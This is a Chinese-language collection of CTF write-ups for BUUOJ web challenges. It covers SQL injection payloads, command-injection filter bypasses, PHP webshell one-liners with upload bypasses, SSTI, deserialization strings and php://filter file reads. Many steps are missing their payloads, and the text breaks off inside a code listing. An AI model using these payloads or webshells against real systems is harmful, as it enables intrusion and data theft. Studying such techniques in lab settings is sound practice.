
BUUOJ
[HCTF 2018]WarmUp
查看源码,发现提升,打开source.php页面
看到题目php代码
打开hint.php页面,发现提示。
回到source.php页面,函数代码中有四个if语句
第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?’前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?’两次编码值为’%253f’),构造url:
无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加../,最终在
中成功回显flag
[强网杯 2019]随便注
该题考查堆叠注入
输入1’提交页面不正常
输入1’ or 1=1 #,页面变为正常,说明存在注入。
输入1’ order by 3#,页面出现错误,说明只有两个字段
使用union select查询,发现很多语句被过滤。
使用堆叠注入1’;show databases; #列出数据库名。
接着使用1’;show tables;#查询出表
使用1’;show columns from words;#查出表words的字段
然后使用1';show columns from `1919810931114514`;#
查出表1919810931114514的字段(如果表名为纯数字,则需要加上`),从而发现flag字段。
因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
内部查询语句类似 : select id, data from word where id =
(这里从上面的对word列的查询可以看到它是有两列,id和data)
然后1919810931114514只有一个flag字段
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
然后使用1’ or 1=1 #查询获得flag.
第二种方法,参考[GYCTF2020]Blacklist
构造Payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#
获得flag。
[SUCTF 2019]EasySQL
同样是考察堆叠注入
输入1发现页面有回显,输入1-1数值改变,说明是数值型的注入。
依次查询数据库并查询出表,并发现Flag表
但发现from Flag被过滤所以不能直接读取flag
看了别人的题解知道本题的原理
解题思路1:
payload:
查询语句:
解题思路2:
payload:1;
解析:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能。
[护网杯 2018]easy_tornado
本题考查ssti(服务端模板注入)
打开页面发现3个文件
依次打开三个txt文件得到提示,所以需要知道cookie_secret。
https://blog.csdn.net/qq78827534/article/details/80792514
只修改文件名不修改文件hash值,报错。
可以看到在报错的url中参数msg值为Error,然后界面就显示Error。
继续修改证实此处存在模板注入
在这里我们应该可以得到cookie_secret
然后照着hint解出文件得hash值
从而获得flag。
[极客大挑战 2019]EasySQL
尝试万能密码
获得flag.
[RoarCTF 2019]Easy Calc
查看源代码,发现提示所以需要绕过WAF。
查看calc.php页面,显示了waf的法则。
进行绕waf,首先了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符
构造payload来查看目录,用chr转化成ascll码进行绕过
发现 string(5) “f1agg”
查看flag。
[极客大挑战 2019]Havefun
查看源代码,发现提示
构造payload获得flag。
[HCTF 2018]admin
存在以下三种解法:
flask session 伪造
unicode欺骗
条件竞争
注册一个test用户,登录。
在修改密码的源码中发现提示。
下载文件
是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码
发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码
发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。
解法一 —— flask session 伪造
我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码
https://github.com/noraj/flask-session-cookie-manager
用得到的cookie值替换掉index页面的cookie值,即可成功伪造session,”变成admin”,得到flag
法二 —— Unicode欺骗
这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞。
原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。
我们发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为admin,从而改掉admin的密码。
然后用admin和改的密码的登录,即可获取flag。
解法三 —— 条件竞争
https://www.jianshu.com/p/f92311564ad0
[极客大挑战 2019]Secret File
查看源码发现提示
继续点击,发现什么也没有,根据提示抓包分析。
发现php页面,打开该页面
发现是文件包含漏洞。
但是打开flag.php并不能看到flag,所以flag应该是写在php代码里面
传入的文件进行了过滤,但没有过滤filter,所以可以用php://filter来获取文件。
获取到flag.php的base64编码,进行解码获得flag。
[SUCTF 2019]CheckIn
发现是文件上传漏洞,于是想到上传一句话木马。
上传一句话木马后发现<?被过滤了,所以不能使用<?php,所以使用其他的方法构造一句话木马,如script脚本
上传之后发现错误提示,所以需要绕过exif_imagetype。
所以在一句话木马前加上GIF89a再上传。
然后用蚁剑连接index.php页面,发现不能连接,所以是木马没有执行。
看了题解后发现这题还有一个知识点就是.user.ini
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
于是创建一个.user.ini文件并将.user.ini和aaa.jpg文件上传
然后蚁剑连接获得flag。
[极客大挑战 2019]LoveSQL
尝试万能密码
登录成功,说明存在注入点
说明有3个字段。
在用户名方框里没有注入成功,在密码方框里注入成功
在密码框中使用
admin’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
列出表名
接着使用
admin’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=”l0ve1ysq1” #
列出字段
最后使用
admin’ union select 1,2,group_concat(password) from l0ve1ysq1 #
获得flag。
[极客大挑战 2019]PHP
根据提示,页面有备份文件
使用dirsearch扫描,发现备份文件www.zip
从class.php和index.php可知,该题是反序化漏洞。代码审计可知username应为admin,password应为100才能获得flag。
将代码反序化
public、protected与private在序列化时的区别和__wakeup()方法绕过参考:
https://www.cnblogs.com/wangtanzhi/p/12193930.html
构造payload获得flag,也可以参考上面的参考链接中
用python传值获得flag
[极客大挑战 2019]Knife
发现是一句话木马,直接用菜刀连接
然后获得flag。
[极客大挑战 2019]Http
查看源码,发现提示
想到抓包,直接改header头信息即可,我们可以通过使用Referer头来修改
修改之后提示说使用Syclover浏览,于是修改User-Agent
根据提示,需要修改X-Forwarded-For为127.0.0.1
从而获得flag。
[GKCTF2020]CheckIN
审计代码发现Ginkgo可以传参,于是想到可以传一句话木马,审计代码可知要把$this->code进行base64加密。
所以Ginkgo传入加密后的@eval($_POST[value]);
用蚁剑连接
直接利用github上的exploit:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
改为执行/readflag。
上传到服务器
构造payload:?Ginkgo=include(‘/tmp/exploit.php’);并将include(‘/tmp/exploit.php’);用base64加密,执行获得flag。
[GKCTF2020]cve版签到
由hint知识cve-2020-7066,ssrf漏洞
https://security-tracker.debian.org/tracker/CVE-2020-7066
点击View CTFHub发现什么也没有
根据漏洞可知存在\0截断。
https://blog.csdn.net/weixin_45485719/article/details/106432960?fps=1&locationNum=2
根据提示知应该改为127.0.0.123
从而获得flag。
[GKCTF2020]老八小超市儿
从图中可知是ShopXO漏洞
参考
http://www.nctry.com/1660.html
进入后台登录界面,用admin,shopxo登录后台
下载默认主题
将写好的一句话木马文件直接拖入压缩包中(注意:不能先解压然后将文件放进去再压缩,这样文件就会失效)
然后上传木马文件,用蚁剑连接
地址是:
在目录下看到
告诉我们flag在/root下,并且flaghint中的时间每隔一分钟会变化
根据auto.sh找到makeflaghint.py
发现有修改权限,且有root的执行权限,能每60秒刷新hint文件。
rb+ 读写打开一个二进制文件,只允许读写数据。
https://blog.csdn.net/guyue6670/article/details/6681037
于是修改代码能读取flag并写入flag.hint文件中
等待60秒查看获得flag。
[ACTF2020 新生赛]Include
本题是文件包含漏洞,使用php://filter伪协议来进行包含。
获得一段base64编码。
base64解密后获得flag。
[GXYCTF2019]Ping Ping Ping
和之前做过的一个题类似,直接构造payload:
?ip=127.0.0.1|ls
发现flag文件。 |直接执行后面的语句。
直接cat flag.php发现题目过滤了空格,所以用${IFS}$绕过空格。
使用${IFS}$发现过滤了{符号,所以使用$IFS$1过滤。
使用$IFS$1发现题目又过滤了flag。
查看该题源码即可知道本次过滤了哪些东西。
方法一:
参考大佬的wp,构造payload:cat$IFS$1ls
,查看源码获得flag。
该方法名叫内联执行。方法:将反引号内命令的输出作为输入执行。
方法二:
Y2F0IGZsYWcucGhw是cat flag.php的base64编码。
方法三:
采用拼接的方法。
参考:https://www.ghtwf01.cn/index.php/archives/273/
[ACTF2020 新生赛]Exec
打开发现和上一题一样,于是构造一样的payload发现该目录下没有flag。
查看上一级目录也没有发现flag。
所以猜测flag在根目录下,查询后发现果然有flag。
从而获得flag。
[极客大挑战 2019]BabySQL
经过测试发现本题需要使用双写进行绕过,并且from,union,select这些函数都被替换为空。例如用uniunionon,检测时其中的union替换为空,所以变成了union,因此能绕过检测。
使用联合注入进行注入。
查询数据库名。
查表名。
查列名。
查字段。
[极客大挑战 2019]Upload
尝试上传带有一句话木马的jpg文件发现题目过滤了<?。
修改木马为:
显示文件不是图片,所以加上GIF89a绕过图片检测。
成功上传文件
然后抓包修改文件后缀名为php发现被检测到了。
某些情况下绕过后缀名检测:
php,php3,php4,php5,phtml,pht
逐个测试,最后发现使用phtml可以绕过检测,从而成功上传木马。
连接蚁剑后在根目录下找到flag。
[ACTF2020 新生赛]BackupFile
从题目可知该题是要查找备份文件,尝试.bak发现备份文件。
审计代码可知输入的key只能为数字而且key要和str相等才能获得flag.
本题考查PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字。
所以只需要key等于123即可获得flag。
[ACTF2020 新生赛]Upload
上传文件的题,于是上传带有一句话木马的jpg文件然后抓包修改后缀为.php发现被检测出来了,尝试之前的利用phtml绕过。
成功上传文件。
蚁剑连接后在根目录成功获得flag。
[极客大挑战 2019]BuyFlag
查看源码发现pay.php页面。
查看pay.php页面的源码发现如上代码。
抓包分析发现需要cuit’s学生才能购买,而且user=0,所以想到这里的user是判断是不是cuit’s学生,修改user=1后证明猜想。
下一步便是如让password=404,但是password不能是数字。
这里考查php中的is_numeric()漏洞
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!
password正确后便是输入money,但是money的值显示长度太长。
strcmp漏洞
注:这一个漏洞适用与5.3之前版本的php
这个函数是用于比较字符串的函数
int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。
所以采用数组绕过money获得flag。
[ZJCTF 2019]NiZhuanSiWei
打开题目即可看到源码。
第一个需要绕过的点:
if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”))
需要我们传入一个文件并且文件内容为welcome to the zjctf。
本题没有符合该内容的文件,所以使用data伪协议。
构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=绕过第一个检测。
第二个需要绕过的点:
本题不能直接读取flag,所以需要先读取useless.php的内容,针对php文件需要进行base64编码,不然不能读到内容。
构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php读取到useless.php的内容。
第三个需要绕过的点:
所以构造password能够读到flag.php的内容。
最后的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
查看源码获得flag。
参考:
https://www.cnblogs.com/wangtanzhi/p/12184759.html
[BJDCTF2020]Easy MD5
在网络中的响应头中发现本题的提示
select * from ‘admin’ where password=md5($pass,true)
查看wp后知道本关使用ffifdyop来绕过,这个字符串md5加密后是276f722736c95d99e921722cf9ed621c,经过hex解密后是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c。拼接后形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’构成万能密码,从而绕过md5函数。
输入ffifdyop后页面发生变化。
在源码中发现以上内容。
md5 bypass
md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$a和$b都是数组则双双返回FALSE, 两个FALSE相等得以绕过。
这里也可以找出md5都是0e开头的,0e开头的md5的结果为0.
QNKCDZO,
s155964671a,
s1091221200a等都是0e开头的。
页面再次跳转后获得一段代码。
这里使用数组绕过,原理是md5不能处理数组,导致函数返回null。
从而获得flag。
[网鼎杯 2018]Fakebook
一开始以为是报错注入,最后得到的data发现是自己的注册信息,于是百度了一下,发现这题是有robots.txt文件。
发现题目有备份文件,下载之后打开
得到题目的代码。
对代码进行审计,发现本题考查的是ssrf。
经报错注入查看data中的数据发现本题应该要利用反序列化的知识。
最终的payload如图所示,列名依次为no,username,passwd,data,所以data的值在四号位传入。
最后在源码中获得flag。
[CISCN2019 华北赛区 Day2 Web1]Hack World
发现只有输入1和2还有1/1等才不会错误,尝试许多注入的方式发现都会被检测出来,百度之后发现本题需要用二分法来跑。
在网上找了很多代码,才找到一个能正确跑出flag的脚本:
成功跑出flag。
但是测试发现该flag少一个数,最终flag:
flag{88beaa12-81a3-4445-bcee-8e89cf1d356c}
参考:https://blog.csdn.net/weixin_43900387/article/details/104838055
[强网杯 2019]高明的黑客
打开后便提示了网页备份文件。
解压后发现居然有3002个文件,并且每个文件内容很多,而且还有很多shell,但不是每个shell都能使用。
百度一下,使用了一下大佬的脚本。
经过一段时间把可以利用shell的php文件跑出来了。
于是构造payload:
http://c572dc92-c543-4f1c-a48d-459dc705a5b3.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat /flag 获得flag。
参考:
https://www.freesion.com/article/9565243932/
[极客大挑战 2019]HardSQL
经过测试发现本题要使用报错注入的方式进行注入。而且本题过滤了空格,and还有=号,但or可以使用,而且用括号可以绕过空格,用like可以绕过=号。
构造payload:username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
查到数据库。
username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&password=123
获得表名H4rDsq1。
username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&password=123
获得列名。
username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
获得flag。这样只能得到flag的左半段,在password前面加上right获得flag右半段。
[BJDCTF 2nd]fake google
随便输入一个数字后,打开源码发现题目有提示,根据提示可知本题应该是ssti模板注入。
尝试4输出的结果是4,证明确实是模板注入。
参考别人的wp,找到了一条可以执行的payload:
执行命令ls找到flag在根目录下,执行cat /flag获得flag。
参考:https://blog.csdn.net/ChenZIDu/article/details/105159197
https://www.cnblogs.com/20175211lyz/p/11425368.html
[GXYCTF2019]BabySQli
打开题目查看源码,发现一段base32编码,解密后得到base64编码:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==再解码得到一段提示信息:select * from user where username = ‘$name’。说明username处存在注入点。
抓包进行分析,本题将or过滤了,但是可以用大写绕过,测试后发现有3个字段。
百度了下,知道了一点联合注入的知识点,当联合查询不存在数据时,联合查询就会构造一个虚拟的数据。还知道本题密码是用md5加密的。
经过测试,发现二号位是username,三号位是password。‘构造一个虚假的身份从而获得flag。
[网鼎杯 2020 青龙组]AreUSerialz
审计代码可知,传入的str中的每一个字符串的ASCII范围在32到125之间,才会对其反序列化。
这里的file_put_contents()函数,将$this->content写入$this->filename中。
在反序列化过程中,调用了__destruct析构的方法,其中op===”2”是强比较,需要进行类型的比较。
在process方法中op与字符的比较为弱类型比较,所以让op=2,则op===”2”为false,op==”2”为true。
read方法中,使用了file_get_contents函数读取文件,可以使用php://filter伪协议读取flag文件。读取的flag用output函数输出。
由于$op,$filename和$content三个变量都是protected,在序列化有%00,ASCII是0,不能通过is_valid函数的检测。
php7.1+版本对属性类型不敏感。所以可以直接改为public进行绕过。
构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
成功获得flag。
参考:https://www.cnblogs.com/Cl0ud/p/12874458.html
[RoarCTF 2019]Easy Java
点击help,弹出一条错误信息,应该是有help.docx这个文件。
下载的文件用编辑打开发现是pk开头的,所以是压缩包文件,解压后得到一堆文件,发现并没什么用。
百度后知道了这题考查的知识点:
POST传入filename=WEB-INF/web.xml下载web.xml文件。
看到com.wm.ctf.FlagController。
根据tomcat的项目存放路径推测出FlagController.class的位置。
构造payload:filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载FlagController.class文件。
打开看到一串base64编码,解密后就是flag。
参考:https://www.cnblogs.com/wangtanzhi/p/12173215.html
[BUUCTF 2018]Online Tool
mkdir之前的@意思是压制错误提示,使其无错误提示。
chdir()函数改变当前的目录。
escapeshellarg和escapeshellcmd参考:https://paper.seebug.org/164/
最后一句system可以传参数,所以肯定是利用这里构造payload。
在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。
所以构造payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
配置蚁剑,连接之后在根目录找到flag。
参考:https://blog.csdn.net/qq_26406447/article/details/100711933
[GYCTF2020]Blacklist
发现本题和之前的[强网杯 2019]随便注类似,但是看了下过滤,发现alter和rename都被过滤了。
百度了下,发现本题可以用一个新的方法。
参考:https://dev.mysql.com/doc/refman/8.0/en/handler.html
所以构造payload:
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
获得flag。
[BJDCTF 2nd]old-hack
本题知识点:thinkphp 5.0.23 RCE漏洞
构造?s=123即可在报错信息中看到thinkphp的版本号。
参考:https://xz.aliyun.com/t/3845
构造payload查看根目录发现flag。
使用cat /flag命令获得flag。
[De1CTF 2019]SSRF Me
打开题目发现一堆代码,而且还很乱,需要整理一下。
os.urandom:随即产生n个字节的字符串
os.path.exists(path): 如果路径 path 存在,返回 True;如果路径 path 不存在,返回 False。
@app.route(‘/‘):Flask路由(根目录路由器)
urllib.unquote:将字符串中的url编码解码。
json.dumps:Python 对象编码成 JSON 字符串
urllib.urlopen:创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
hashlib.md5().hexdigest():hashlib.md5()#获取一个md5加密算法对象,hexdigest()是获得加密好的16进制字符串。
向/De1ta路由提交参数后,会执行challenge函数,绕过waf检测后会创建Task类执行Exec函数。
所以需要通过checkSign函数的检测即通过getSign函数的检测。
只有向/geneSign路由提交参数后才能返回getSign获得正确的sign值从而绕过getSign的检测。
构造payload:geneSign?param=flag.txtread获得sign值bbf07a512ad05225d0744b68e2830cb0。
构造payload:De1ta?param=flag.txt并且传入cookie:action值为readscan,sign值为bbf07a512ad05225d0744b68e2830cb0。从而获得flag。action包含”scan”则会修改code的值为,action包含”read”并且code为200时才会写入flag。
参考:https://blog.csdn.net/weixin_43900387/article/details/105278192
[GXYCTF2019]禁止套娃
本题考查的是无参数RCE。eval($_GET[‘exp’]);
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取
本题另外一个知识点是.git源码泄露,利用GitHack进行扫描。
发现index.php文件。
发现是本题的源码index.php。
审计代码可知本题过滤了一些比较常用的伪协议,所以不能直接读取文件了。
正则匹配[a-z,_]+((?R)?),所以只允许a(b(c())),a()等这样的形式,所以就不能传参。
首先得想办法爆出文件的目录下的文件,利用scandir()函数可以扫描当前目录下的文件,所以会想构造print_r(scandir(‘.’)),而本题不能传参。
所以有另外一个函数localeconv(),localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组的话就要用到current() 函数,post()是current()的别名。
这样就爆出了当前的目录。所以我们要得到倒数第二个数组的内容。
所以可以利用array_reverse()函数,以相反的元素顺序返回数组。
顺序颠倒后flag.php在第二个数组中,所以构造payload:?exp=print_r(next(array_reverse(scandir(current(localeconv())))))
;但是这样只能打印变量,而不能读flag.php的源码,而且file_get_contents()中的et被过滤了,但是可以使用readfile(),highlight_file()获得show_resource()函数读取flag。其他方法参考下面的博客。
参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
https://www.cnblogs.com/wangtanzhi/p/12260986.html
[MRCTF2020]你传你🐎呢
打开题目是上传文件,尝试上传一句话木马的jpg文件上传成功,修改文件后缀为php被检测出来了,尝试php3,php4,php5,phtml,pht绕过检测发现都不可以,说明本题只能上传图片。
所以想到上传.htaccess,让.htaccess解析图片为php文件运行木马。
可以在.htaccess 加入php解析规则
类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
不是图片不能上传,修改Content-Type为image/jpeg上传成功。
上传带木马的图片文件。
在根目录下获得flag。
[安洵杯 2019]easy_web
打开源码,发现题目给的提示md5,并且源码中img中的内容是图片的base64编码。
感觉img中那段编码是base64编码。
经过两次base64解码和一次hex解码后得到img的名字为555.png,所以可以尝试利用类似的方法读取文件。
尝试读取flag.php,应该是被过滤了所以不能查看。
尝试读取index.php文件获得题目源码。执行后在img中得到index.php文件的base64编码。
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
解码后获得本题源码。
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
经过这一层的判断,才会运行cmd命令。反引号符号包围是执行shell命令。
md5进行强比较时是可以通过数组绕过的,但是这里将数据进行了强制转换,所以用数组前半部分就不能通过判断。
参考:https://xz.aliyun.com/t/2232
利用MD5碰撞生成器构建两个MD5一样,但是内容完全不一样的字符串。
上传之后从而绕过检测执行命令,即可看到根目录下有flag,但是cat被过滤了,所以使用ca\t%20flag获得flag。
[MRCTF2020]Ez_bypass
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
根据提示,直接F12得到源码。
审计代码可知,第一步需要绕过md5,这里不像上一题会转换类型,所以可以直接使用数组绕过,md5()无法操作数组,会返回null。
第二步便是要绕过passwd的检测,is_numeric可以使用1234567;绕过,由于$passwd==1234567是若比较,所以在比较时会把passwd转成数字进行比较,所以就能绕过检测,获得flag。
[BJDCTF2020]Mark loves cat
使用dirsearch扫出/.git目录,所以使用GitHack获得本题git泄露的源码。
<?php
$flag = file_get_contents('/flag');
flag.php的代码。
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
index.php文件中的代码。
审计代码可知,我们最终应该要让运行exit($flag)从而获得flag。
这里我们可以利用$yds,通过构造从而获得flag。
可以直接get传参?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
变成了$yds=$flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
get的是yds所以可以绕过执行exit($flag)。
[GXYCTF2019]BabyUpload
尝试上传带有一句话木马的jpg文件,被检测到了,估计是过滤了<?php,所以想到使用script代替。
<script language="php"> eval($_POST['hack']) </script>
抓包修改后缀为php,被检测到显示后缀不能有ph,所以使用php3等这样的绕过都不行了,于是想到上传.htaccess。
直接上传不能上传,所以抓包修改文件类型为image/jpeg上传成功,然后上传带木马的jpg文件,用蚁剑连接。
根目录下找到flag。
[GWCTF 2019]我有一个数据库
通过dirsearch发现存在robots.txt文件和phpinfo.php,而且还有phpmyadmin。打开robots.txt就是提示有phpinfo.php。
打开phpmyadmin界面,直接就进去了。
看到个phpMyAdmin的版本,所以百度一下这个版本的漏洞。
参考:
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF/jxV/9/cEb5pShRgewJe/ttJn2gIlIyGF/bsgGmzcbsV%2bLmMK#rd
https://www.jianshu.com/p/fb9c2ae16d09
构造payload:
index.php?target=db_datadict.php%253f/../../../../../../../../flag
即可获得flag。
[BJDCTF 2nd]假猪套天下第一
进去发现是一个登录界面,使用admin登录会提示不是admin,除了admin以外的账号都能登录,登录进去也没看到什么,于是在登录时抓包分析。
发现题目的提示。
进去刷新一下页面就变成这样了,于是抓包分析。
看到有时间,修改时间为很大的值,显示要来自localhost才行。
发现X-Forwarded-For被检测到了,百度一下知道了另一个方法。
使用Client-ip。提示要来自gem-love.com。
用Referer绕过。接着提示需要Commodo 64浏览器。但是直接修改User-Agent为Commodo 64。现在不对,查了一下全称是Commodore 64。
需要我们的邮箱是:root@gem-love.com。
使用From。发现又需要代理服务地址是y1ng.vip。
使用via。从而获得flag。
[0CTF 2016]piapiapia
尝试注入,发现并不行,所以觉得应该不是SQL注入,利用dirsearch扫描。
发现页面备份文件www.zip。
下载后即可看到题目的源码。
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
